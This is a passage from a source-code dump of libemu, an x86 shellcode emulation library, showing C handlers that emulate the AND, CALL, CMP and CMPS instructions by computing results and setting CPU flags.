dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\t/* dst <-- dst <OPC> imm8 */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t &)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\t/* reg8[rm] <-- reg8[rm] <OPC> imm8 */\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t &)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_81_and(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 81 /4 iw \n\t\t\t * r/m16 AND imm16\n\t\t\t * AND r/m16,imm16\n\t\t\t */\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t &)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /4 id \n\t\t\t * r/m32 AND imm32\n\t\t\t * AND r/m32,imm32\n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t &)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 81 /4 iw \n\t\t\t * r/m16 AND imm16\n\t\t\t * AND r/m16,imm16\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t &)\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /4 id \n\t\t\t * r/m32 AND imm32\n\t\t\t * AND r/m32,imm32\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t &)\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_1_83_and(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\t\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /4 ib \n\t\t\t * r/m16 AND imm8 (sign-extended)\n\t\t\t * AND r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t &)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 83 /4 ib \n\t\t\t * r/m32 AND imm8 (sign-extended)\n\t\t\t * AND r/m32,imm8  \n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t &)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /4 ib \n\t\t\t * r/m16 AND imm8 (sign-extended)\n\t\t\t * AND r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t &)\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 83 /4 ib \n\t\t\t * r/m32 AND imm8 (sign-extended)\n\t\t\t * AND r/m32,imm8  \n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t &)\n\t\t}\n\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/call.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n\nint32_t instr_call_9a(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* 9A cd  \n\t * CALL ptr16:16 \n\t * Call far, absolute, address given in operand\n\t */\n\n\t/* 9A cp  \n\t * CALL ptr16:32 \n\t * Call far, absolute, address given in operand\n\t */\n\n\tUNIMPLEMENTED(c, SST);\n}\n\n\nint32_t instr_call_e8(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* E8 cd  \n\t * CALL rel32    \n\t * Call near, relative, displacement relative to next instruction\n\t */\n\n\n\t/* E8 cw  \n\t * CALL rel16    \n\t * Call near, relative, displacement relative to next instruction\n\t */\n\n\tPUSH_DWORD(c, c->eip);\n\tc->eip += i->disp;\n\n\tSOURCE_NORM_POS(c->instr, c->eip);\n\n\treturn 0;\n}\n\n\nint32_t instr_group_5_ff_call(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif( i->modrm.opc == 2 )\n\t{\n\t\tPUSH_DWORD(c, c->eip);\n\t\t\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tif( i->prefixes & PREFIX_OPSIZE )\n\t\t\t{\n\t\t\t\t/* FF /2  \n\t\t\t\t * CALL r/m16    \n\t\t\t\t * Call near, absolute indirect, address given in r/m16   \n\t\t\t\t */\n\n\t\t\t\tuint16_t disp;\n\t\t\t\tMEM_WORD_READ(c, i->modrm.ea, &disp);\n\t\t\t\t\n\t\t\t\tc->eip = disp;\n\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/* FF /2  \n\t\t\t\t * CALL r/m32    \n\t\t\t\t * Call near, absolute indirect, address given in r/m32   \n\t\t\t\t */\n\n\t\t\t\tuint32_t disp;\n\t\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &disp);\n\t\t\t\t\n\t\t\t\tc->eip = disp;\n\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif( i->prefixes & PREFIX_OPSIZE )\n\t\t\t{\n\t\t\t\t/* FF /2  \n\t\t\t\t * CALL r/m16    \n\t\t\t\t * Call near, absolute indirect, address given in r/m16   \n\t\t\t\t */\n\n\t\t\t\tc->eip = *c->reg16[i->modrm.rm];\n\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.rm);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/* FF /2  \n\t\t\t\t * CALL r/m32    \n\t\t\t\t * Call near, absolute indirect, address given in r/m32   \n\t\t\t\t */\n\n\t\t\t\tc->eip = c->reg[i->modrm.rm];\n\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.rm);\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\t/* FF /3  \n\t\t * CALL m16:16   \n\t\t * Call far, absolute indirect, address given in m16:16  \n\t\t */\n\n\t\t/* FF /3  \n\t\t * CALL m16:32   \n\t\t * Call far, absolute indirect, address given in m16:32  \n\t\t */\n\n\t\tUNIMPLEMENTED(c, SST);\n\n\t}\n\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/cmp.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <sys/types.h>\n#include <sys/param.h>\n#include <stdint.h>\n\n#if BYTE_ORDER == BIG_ENDIAN \n#define INSTR_CALC(bits, a, b, operation)\t\t\t\\\nUINTOF(bits) operand_a; \\\nUINTOF(bits) operand_b; \\\nbcopy(&(a), &operand_a, bits/8); \\\nbcopy(&(b), &operand_b, bits/8); \\\nUINTOF(bits) operation_result = operand_a operation operand_b;\n#else // ENDIAN\n#define INSTR_CALC(bits, a, b, operation)\t\t\t\\\nUINTOF(bits) operand_a = a;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operand_b = b;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operation_result = operand_a operation operand_b;\t\n#endif // ENDIAN\n\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, operation)\t\\\nINSTR_CALC(bits, a, b, operation)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_CF(cpu, operation)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_OF(cpu, operation, bits)\t\t\t\t\t\t\t\t\n\n\nint32_t instr_cmp_38(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 38 /r\n\t * Compare r8 with r/m8\n\t * CMP r/m8,r8 \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t -)\n//\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t -)\n\t}\n\treturn 0;\n}\n\nint32_t instr_cmp_39(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 39 /r\n\t\t\t * Compare r16 with r/m16\n\t\t\t * CMP r/m16,r16 \n\t\t\t */\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n//\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 39 /r\n\t\t\t * Compare r32 with r/m32\n\t\t\t * CMP r/m32,r32 \n\t\t\t */\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n//\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 39 /r\n\t\t\t * Compare r16 with r/m16\n\t\t\t * CMP r/m16,r16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 39 /r\n\t\t\t * Compare r32 with r/m32\n\t\t\t * CMP r/m32,r32 \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_cmp_3a(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{      \n\t/* 3A /r\n\t * Compare r/m8 with r8\n\t * CMP r8,r/m8 \n\t */\n\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t op;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &op);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n                                 *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t op, \n\t\t\t\t\t\t\t\t -)\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_cmp_3b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{      \n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 3B /r\n\t\t\t * Compare r/m16 with r16\n\t\t\t * CMP r16,r/m16 \n\t\t\t */\n\t\t\tuint16_t op;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &op);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 3B /r\n\t\t\t * Compare r/m32 with r32\n\t\t\t * CMP r32,r/m32 \n\t\t\t */\n\t\t\tuint32_t op;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &op);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t op,\n                                     -)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 3B /r\n\t\t\t * Compare r/m16 with r16\n\t\t\t * CMP r16,r/m16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n                                     -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 3B /r\n\t\t\t * Compare r/m32 with r32\n\t\t\t * CMP r32,r/m32 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_cmp_3c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 3C ib \n\t * Compare imm8 with AL\n\t * CMP AL,imm8 \n\t */\n\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t -)\n\treturn 0;\n}\n\nint32_t instr_cmp_3d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 3D iw \n\t\t * Compare imm16 with AX\n\t\t * CMP AX,imm16  \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t -)\n\t}\n\telse\n\t{\n\t\t/* 3D id \n\t\t * Compare imm32 with EAX\n\t\t * CMP EAX,imm32 \n\t\t */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\n\n\treturn 0;\n}\n\nint32_t instr_group_1_80_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\t/* dst <-- dst <OPC> imm8 */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t -)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\t/* reg8[rm] <-- reg8[rm] <OPC> imm8 */\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_81_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 81 /7 iw \n\t\t\t * Compare imm16 with r/m16\n\t\t\t * CMP r/m16, imm16 \n\t\t\t */\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /7 id \n\t\t\t * Compare imm32 with r/m32\n\t\t\t * CMP r/m32,imm32  \n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 81 /7 iw \n\t\t\t * Compare imm16 with r/m16\n\t\t\t * CMP r/m16, imm16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /7 id \n\t\t\t * Compare imm32 with r/m32\n\t\t\t * CMP r/m32,imm32  \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_group_1_83_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n/* As the INSTR_CALC for big endian uses bcopy of the operands size, we have to create an operand of the size \n * and use it, the replacement aligned equal size operand is called imm \n */\n#if BYTE_ORDER == BIG_ENDIAN\n\t uint8_t imm8;\n\t bcopy(i->imm8, &imm8, 1);\n#endif\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /7 ib \n\t\t\t * Compare imm8 with r/m16\n\t\t\t * CMP r/m16,imm8   \n\t\t\t */\n\n\t\t\t uint16_t dst;\n\t\t\t MEM_WORD_READ(c, i->modrm.ea, &dst);\n\n#if BYTE_ORDER == BIG_ENDIAN\n\t\t\tint16_t sexd = (int8_t) imm8;\n#else\n\t\t\tint16_t sexd = (int8_t) *i->imm8;\n#endif\n\n\t\t\t INSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t  c, \n\t\t\t\t\t\t\t\t\t  dst,\n\t\t\t\t\t\t\t\t\t  sexd,\n\t\t\t\t\t\t\t\t\t  -)\n\t\t}\n\t\telse\n\t\t{\n\n\n\t\t\t/* 83 /7 ib \n\t\t\t * Compare imm8 with r/m32\n\t\t\t * CMP r/m32,imm8   \n\t\t\t */\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n#if BYTE_ORDER == BIG_ENDIAN\n\t\t\tint32_t sexd = (int8_t) imm8;\n#else\n\t\t\tint32_t sexd = (int8_t) *i->imm8;\n#endif\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd,\n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 83 /7 ib \n\t\t\t * Compare imm8 with r/m16\n\t\t\t * CMP r/m16,imm8   \n\t\t\t */\n\t\t\t\n#if BYTE_ORDER == BIG_ENDIAN\n\t\t\tint16_t sexd = (int8_t) imm8;\n#else\n\t\t\tint16_t sexd = (int8_t) *i->imm8;\n#endif\n\t\t\t\t\t\t\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t sexd,\n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 83 /7 ib \n\t\t\t * Compare imm8 with r/m32\n\t\t\t * CMP r/m32,imm8   \n\t\t\t */\n\n#if BYTE_ORDER == BIG_ENDIAN\n\t\t\tint32_t sexd = (int8_t) imm8;\n#else\n\t\t\tint32_t sexd = (int8_t) *i->imm8;\n#endif\n\n            INSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd,\n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/cmps.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b) \\\nUINTOF(bits) operand_a = a; \\\nUINTOF(bits) operand_b = b; \\\nUINTOF(bits) operation_result = operand_a - operand_b; \n//printf(\" a %02x b %02x c %02x \\n\",operand_a, operand_b, operation_result);\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 127*/\n\n#include <stdio.h>\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b) \\\nINSTR_SET_FLAG_ZF(cpu) \\\nINSTR_SET_FLAG_PF(cpu) \\\nINSTR_SET_FLAG_SF(cpu) \\\nINSTR_SET_FLAG_CF(cpu, -) \\\nINSTR_SET_FLAG_OF(cpu, -,bits) \n\n\n\n#define INSTR_CALC_EDI_ESI(cpu,bits) \\\n{ \\\n\tif ( 